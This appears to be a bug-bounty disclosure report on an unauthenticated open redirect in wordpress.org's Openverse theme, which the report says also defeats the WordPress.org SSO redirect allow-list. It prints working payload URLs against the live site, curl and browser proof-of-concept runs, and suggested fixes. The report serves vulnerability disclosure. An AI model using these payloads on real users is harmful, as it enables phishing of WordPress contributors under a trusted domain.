WordPress · Report #3933198
wordpress.org/openverse/: unauthenticated open redirect — `str_replace()`'s 4th arg is a count, not a limit; bypasses WordPress.org SSO allow-list
How it was found
Description:
Every request under https://wordpress.org/openverse/… is served by the wporg-openverse theme's
index.php. With the redirect enabled, that template builds a target by concatenating a bare origin
(https://openverse.wordpress.net — no trailing slash, enforced by the setting's own
sanitize_callback) with the request path after removing the /openverse prefix.
The prefix removal is written as str_replace( OPENVERSE_SUBPATH, '', $path, $count ) with
$count = 1 and the comment "Only replace the leading Openverse subpath." But str_replace() has
no limit parameter — its 4th argument is a by-reference output that receives the number of
replacements performed, and the 1 is silently overwritten. Every occurrence of /openverse is
therefore deleted, not just the leading one.
A request path of /openverse/[email protected]/ collapses to @evil.example/, and
concatenating that onto a bare origin produces https://[email protected]/ — a URL
whose authority is evil.example. It is then handed to wp_redirect(), not wp_safe_redirect(), so
no allow-list is consulted.
Why this is not "an open redirect with no security impact": The program excludes open redirects
that carry no security impact. This one defeats a security control that WordPress.org deliberately
built and maintains. The WordPress.org SSO plugin restricts post-login redirect_to targets to an
allow-list of four domains (common/includes/wporg-sso/class-wporg-sso.php:23-28,
_is_valid_targeted_domain() at :203-224). https://wordpress.org/openverse/[email protected]/
is a wordpress.org URL — its parse_url(…, PHP_URL_HOST) is literally wordpress.org — so it
passes that allow-list, and then 301s the freshly-authenticated user to evil.example. That is exactly
the outcome the allow-list exists to prevent. Additional impact beyond a bare redirect: the response is
a 301 (browser caches the poisoned mapping for that wordpress.org URL); the link the victim sees
has hostname wordpress.org with no suspicious ?url= parameter; the destination is reached with a
real *.wordpress.org referrer.
Asset: *.wordpress.org — meta repository,
wordpress.org/public_html/wp-content/themes/pub/wporg-openverse (functions.php, index.php), the
theme that serves the /openverse/ site of the WordPress.org multisite.
Affected versions verified: meta trunk at commit 08b412bd0b09c54528500073f90e3c4c50357a5b
(2026-07-27). Deployed WordPress.org code, not an unreleased branch — the theme is live and still
maintained (last touched 2026-05-22, 7b7c6bc). No pre-release double bounty is claimed. (Confirmed
still present in current trunk: get_target_url() still uses str_replace( …, $count ) with $count = 1.)
The redirect feature was introduced by https://github.com/WordPress/wordpress.org/pull/98 (Meta Trac
#6578) and WordPress announced on 2023-02-08 that it is live
(https://make.wordpress.org/openverse/2023/02/08/openverse-org-is-live/).
Attacker privilege: Unauthenticated. No WordPress.org account, no session, no CSRF token. The
attacker only needs the victim to follow a link whose hostname is literally wordpress.org.
User interaction: required — the victim follows the link. Normal interaction model for an open redirect.
Root cause with real file:line and verbatim code
1. All paths under /openverse/ reach the theme template.
wordpress.org is a sub-directory multisite; core resolves the site from at most the first path
segment (wp-includes/ms-load.php, ms_load_current_site_and_network():
$current_blog = get_site_by_path( $domain, $path, 1 );). So /openverse/<anything>/<anything>
resolves to the /openverse/ site. The theme then forces index.php for every view and suppresses
request parsing — themes/pub/wporg-openverse/functions.php:46-48:
foreach ( array( '404', 'archive', 'author', 'category', 'tag', 'taxonomy', 'date', 'embed', 'home', 'frontpage', 'privacypolicy', 'page', 'paged', 'search', 'single', 'singular', 'attachment' ) as $template_type ) {
add_filter( $template_type . '_template', __NAMESPACE__ . '\use_index_php_as_template' );
}
functions.php:79-85:
function disable_parse_request( $return, $wp ) {
// Avoid E_WARNING: array_keys() expects parameter 1 to be array, null given in wp-includes/class-wp.php:548
$wp->query_vars = array();
return false;
}
add_filter( 'do_parse_request', __NAMESPACE__ . '\disable_parse_request', 10, 2 );
The function's own docblock confirms deep paths are expected to work —
functions.php:255-257:
* Examples:
* - https://ru.wordpress.org/openverse → {ov_redirect_url}/ru/
* - https://wordpress.org/openverse/search/?q=dog → {ov_redirect_url}/search/?q=dog
2. The sink. themes/pub/wporg-openverse/functions.php:259-275:
function get_target_url() {
$target_url = get_theme_mod( 'ov_redirect_url', OPENVERSE_STANDALONE_URL );
$curr_locale = get_locale();
$locale = get_locale_slug( $curr_locale );
if ( $locale !== '' ) {
$target_url .= '/' . $locale;
}
$path = $_SERVER['REQUEST_URI'];
if ( $path ) {
$count = 1; // Only replace the leading Openverse subpath.
$target_url .= str_replace( OPENVERSE_SUBPATH, '', $path, $count );
}
return $target_url;
}
OPENVERSE_SUBPATHis'/openverse'(functions.php:25).OPENVERSE_STANDALONE_URLis'https://openverse.wordpress.net'(functions.php:248).- The base origin is guaranteed to be a bare scheme+host with no trailing slash, because the
Customizer setting strips one —
functions.php:296-304:
'sanitize_callback' => function( $val, $setting ) {
if ( substr( $val, -1 ) == '/' ) { // If the last character is a slash '/',...
$val = substr( $val, 0, -1 ); // ...remove it.
}
That is precisely what lets the concatenated remainder extend the authority rather than the path, and it means the bug works against whatever origin is configured.
get_locale_slug()returns''foren_US(functions.php:93-99), so onwordpress.orgitself nothing is inserted between the origin and the attacker-controlled remainder.
3. Unsafe redirect API. themes/pub/wporg-openverse/index.php:23-31:
$is_redirect_enabled = get_theme_mod( 'ov_is_redirect_enabled' );
$target_url = get_target_url();
if ( $is_redirect_enabled ) {
wp_redirect( $target_url, 301 );
exit;
} else {
echo "<!-- " . $target_url . " -->";
}
wp_redirect() performs no destination validation; it applies only the wp_redirect filter and
wp_sanitize_redirect(), which preserves . and @.
4. No compensating guard anywhere in the network.
- No
add_filter( 'wp_redirect', … )exists in the meta repository or inwporg-mu-plugins(grepped both trees; zero hits). - The only three
allowed_redirect_hostsfilters (plugin-directory/class-plugin-directory.php:54,wporg-learn/inc/redirects.php:8,common/includes/wporg-sso/wp-plugin.php:289) are consumed exclusively bywp_validate_redirect(), i.e. bywp_safe_redirect(). They are irrelevant towp_redirect().
Steps To Reproduce:
Two payload families, plain ASCII, no encoding tricks, no account:
A — userinfo variant (no attacker DNS setup at all, origin-agnostic):
https://wordpress.org/openverse/[email protected]/
→ Location: https://[email protected]/ (authority = evil.example)
B — hostname-suffix variant (attacker adds one DNS record; no userinfo in the address bar):
https://wordpress.org/openverse/openverse.evil.example/
→ Location: https://openverse.wordpress.net.evil.example/
Path and query are fully attacker-chosen:
https://wordpress.org/openverse/[email protected]/login?next=x
→ Location: https://[email protected]/login?next=x
No request was sent to any WordPress.org production host. Everything below ran locally against the unmodified theme source.
Proof — real observed output
(1) PHP semantics of the 4th argument
$ php -r '$c=1; var_dump(str_replace("/openverse","","/openverse/[email protected]/",$c), $c);'
string(14) "@evil.example/"
int(2)
$count is an output; both occurrences were removed, and the 1 was overwritten with 2.
(2) End-to-end HTTP against the real, unmodified theme
A tiny router boots WordPress 7.0.2 (so wp_redirect() / wp_sanitize_redirect() are the real core
functions), requires the untouched
meta/…/themes/pub/wporg-openverse/functions.php, supplies the two Customizer values under test via
theme_mod_* filters (so no database state is mutated), and then executes the theme's own
index.php:23-31 verbatim. Observed responses:
=== BASELINE (the two docblock examples from functions.php:256-257) ===
REQ /openverse/ Location: https://openverse.wordpress.net/
REQ /openverse/search/?q=dog Location: https://openverse.wordpress.net/search/?q=dog
=== PAYLOADS ===
REQ /openverse/[email protected]/ Location: https://[email protected]/
REQ /openverse/openverse.evil.example/ Location: https://openverse.wordpress.net.evil.example/
REQ /openverse/[email protected]/login?next=x Location: https://[email protected]/login?next=x
=== NEGATIVE CONTROLS (proving this is specifically the multi-occurrence strip) ===
REQ /openverse//evil.example Location: https://openverse.wordpress.net//evil.example
REQ /openverse/@evil.example Location: https://openverse.wordpress.net/@evil.example
REQ /openverse/x/openverse.evil.example Location: https://openverse.wordpress.net/x.evil.example
The baseline rows are byte-for-byte what the function's own documentation promises, and are
unaffected. The three controls stay on-origin — this is not generic path confusion, it is the second
/openverse being eaten.
(3) A real browser follows it, with no prompt
Same router, with ov_redirect_url filtered to a local stand-in origin of the same shape
(http://openverse.wordpress.net, no trailing slash) so that the browser can be allowed to complete
the navigation. The Location header below is produced by the real theme code, not hand-written:
$ curl -sS -i --path-as-is "http://127.0.0.1:8605/openverse/[email protected]:8605/landed"
HTTP/1.1 301 Moved Permanently
X-Redirect-By: WordPress
Location: http://[email protected]:8605/landed
$ chromium --headless --no-sandbox --disable-gpu --virtual-time-budget=6000 \
--dump-dom "http://127.0.0.1:8605/openverse/[email protected]:8605/landed"
<!DOCTYPE html>
<html><head></head><body>ATTACKER-ORIGIN-REACHED host=…127.0.0.1:8605</body></html>
Chromium 145.0.7632.159 followed the userinfo form of the redirect straight to the other origin and
the landing page reported its own location.host. No interstitial, no warning.
(4) The SSO allow-list accepts the payload URL
common/includes/wporg-sso/class-wporg-sso.php:203-224:
protected function _is_valid_targeted_domain( $host ) {
if ( empty( $host ) || ! is_string( $host ) ) {
return false;
}
if ( strstr( $host, '/' ) ) {
$host = parse_url( $host, PHP_URL_HOST );
}
…
$host = $this->_get_targetted_host( $host );
return in_array( $host, self::VALID_HOSTS, true );
}
with const VALID_HOSTS = [ 'wordpress.org', 'bbpress.org', 'buddypress.org', 'wordcamp.org' ]
(:23-28), consumed by login_url() (:137), _get_safer_redirect_to() (:177) and
wp_validate_redirect() (wp-plugin.php:733).
$ php -r 'var_dump(parse_url("https://wordpress.org/openverse/[email protected]/", PHP_URL_HOST));'
string(13) "wordpress.org"
So https://login.wordpress.org/?redirect_to=<urlencoded payload> is accepted as a legitimate target
and becomes a login-branded, fully-trusted-domain launcher that deposits the freshly-authenticated
user on attacker-controlled content.
Honest limitations
- Two runtime facts could not be verified by me, because the rules of engagement forbid sending
traffic to production and I sent none:
ov_is_redirect_enabledmust betruefor the/openverse/site. Its Customizer default isfalse(functions.php:322-326). The public evidence that it is on: the WordPress project's own 2023-02-08 announcement thatwordpress.org/openverseredirects to the standalone domain, and PR #98 / Meta Trac #6578 which added exactly this code for exactly that purpose. Please confirm the theme mod before triaging severity./openverse/must still be served by this theme rather than by an edge/nginx redirect that never reaches PHP. I cannot distinguish those from a local clone.
- Neither caveat affects the code defect, which is unconditional and reproduced above. If the
toggle is currently off, this is a latent defect that becomes live the moment anyone turns it on —
and the
elsebranch it falls into (echo "<!-- " . $target_url . " -->",index.php:30) is the same unsanitised value emitted into HTML. I judged that branch not exploitable from a browser, because browsers percent-encode<and>in the path and query, so the-->needed to escape the HTML comment cannot be delivered by navigation — but it is one more reason to fix the URL-building itself. - Payload family B needs one attacker-controlled DNS record; family A needs nothing and is the one I proved in a browser.
Recommendations
Two independent changes; please apply both.
- Strip the prefix as a prefix —
functions.php:268-272:
$path = $_SERVER['REQUEST_URI'] ?? '';
if ( str_starts_with( $path, OPENVERSE_SUBPATH ) ) {
$path = substr( $path, strlen( OPENVERSE_SUBPATH ) );
}
if ( '' === $path || '/' !== $path[0] ) {
$path = '/' . ltrim( $path, '/' ); // never let the remainder extend the authority
}
$target_url .= $path;
(preg_replace( '#^' . preg_quote( OPENVERSE_SUBPATH, '#' ) . '#', '', $path, 1 ) is an equally
valid prefix-only strip — the point is that str_replace() cannot express "only the first".)
- Defence in depth —
index.php:27: usewp_safe_redirect( $target_url, 301 )and register the standalone origin throughallowed_redirect_hosts, so that any future slip in the URL-building logic cannot produce an off-siteLocation.
A grep for str_replace( with a literal 1 in the 4th position across the meta repository is worth
doing at the same time — this is a repeatable API-misuse pattern, and PHP raises no diagnostic for it.
AI tooling disclosure
Per the program's guidelines and the WordPress AI Guidelines:
AI assistance: Yes — substantial. Tool(s): Claude (Anthropic), used through the Claude Code agentic harness. Used for: source review and candidate-vulnerability search; building and running the local test harnesses; and drafting this report — the prose here is largely AI-authored and subsequently reviewed and corrected by me. Verification: every technical claim was verified by executing it against a local installation. Every quoted output is real observed output, not model narration; claims that did not survive that verification were removed before submission. No production host was contacted. Responsibility: I have reviewed the report in full and take responsibility for its content.
Prior art / duplicate check
Verdict: likely novel — and still live in current meta trunk.
- Verified against the current theme trunk:
get_target_url()still usesstr_replace( OPENVERSE_SUBPATH, '', $path, $count )with$count = 1(the misused 4th argument), rather than a prefix-only strip. Confirmed at https://github.com/WordPress/wordpress.org/blob/trunk/wordpress.org/public_html/wp-content/themes/pub/wporg-openverse/functions.php — not fixed. - The redirect feature and its code come from PR #98 / Meta Trac #6578 (https://github.com/WordPress/wordpress.org/pull/98), announced as live on 2023-02-08 (https://make.wordpress.org/openverse/2023/02/08/openverse-org-is-live/).
- There is no public HackerOne report for this specific open redirect or SSO allow-list bypass. Historical WordPress open redirects on HackerOne (for example WordPress Feed #22142, BuddyPress
bp-profile-edit) are unrelated. - The program excludes "open redirects without security impact". This one defeats the deliberately maintained WordPress.org SSO allow-list (
class-wporg-sso.phpVALID_HOSTS), so the exclusion does not apply; the report argues that explicitly.
HackerOne hacktivity cannot be enumerated without authentication, so an undisclosed duplicate cannot be ruled out with certainty.
Impact
Any visitor who follows a link whose hostname is literally wordpress.org is silently 301-redirected
to a host the attacker controls, with a *.wordpress.org referrer and a browser-cached permanent
mapping. Chained through login.wordpress.org's redirect_to, it also defeats the WordPress.org SSO
redirect allow-list, which is the specific control built to stop exactly this.
Practically this is a high-quality phishing primitive against WordPress site owners, plugin authors
and contributors — the population that is trained to check that a link points at wordpress.org.